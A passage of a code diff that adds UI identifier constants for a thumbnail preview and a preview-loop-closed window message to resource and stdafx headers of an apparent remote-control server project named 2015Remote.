+#define ID_PARAM_THUMBNAIL_PREVIEW      33050
 #define ID_EXIT_FULLSCREEN              40001
 
 // Next default values for new objects
 // 
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        373
-#define _APS_NEXT_COMMAND_VALUE         33048
-#define _APS_NEXT_CONTROL_VALUE         2539
+#define _APS_NEXT_RESOURCE_VALUE        377
+#define _APS_NEXT_COMMAND_VALUE         33051
+#define _APS_NEXT_CONTROL_VALUE         2542
 #define _APS_NEXT_SYMED_VALUE           105
 #endif
 #endif

server/2015Remote/stdafx.h

@@ -102,6 +102,7 @@
 #define WM_DISCONNECT					WM_USER+3032
 #define WM_OPENTERMINALDIALOG			WM_USER+3033
 #define WM_PREVIEW_RESPONSE				WM_USER+3034
+#define WM_PREVIEW_LOOP_CLOSED			WM_USER+3035
 
 #ifdef _UNICODE
 #if defined _M_IX86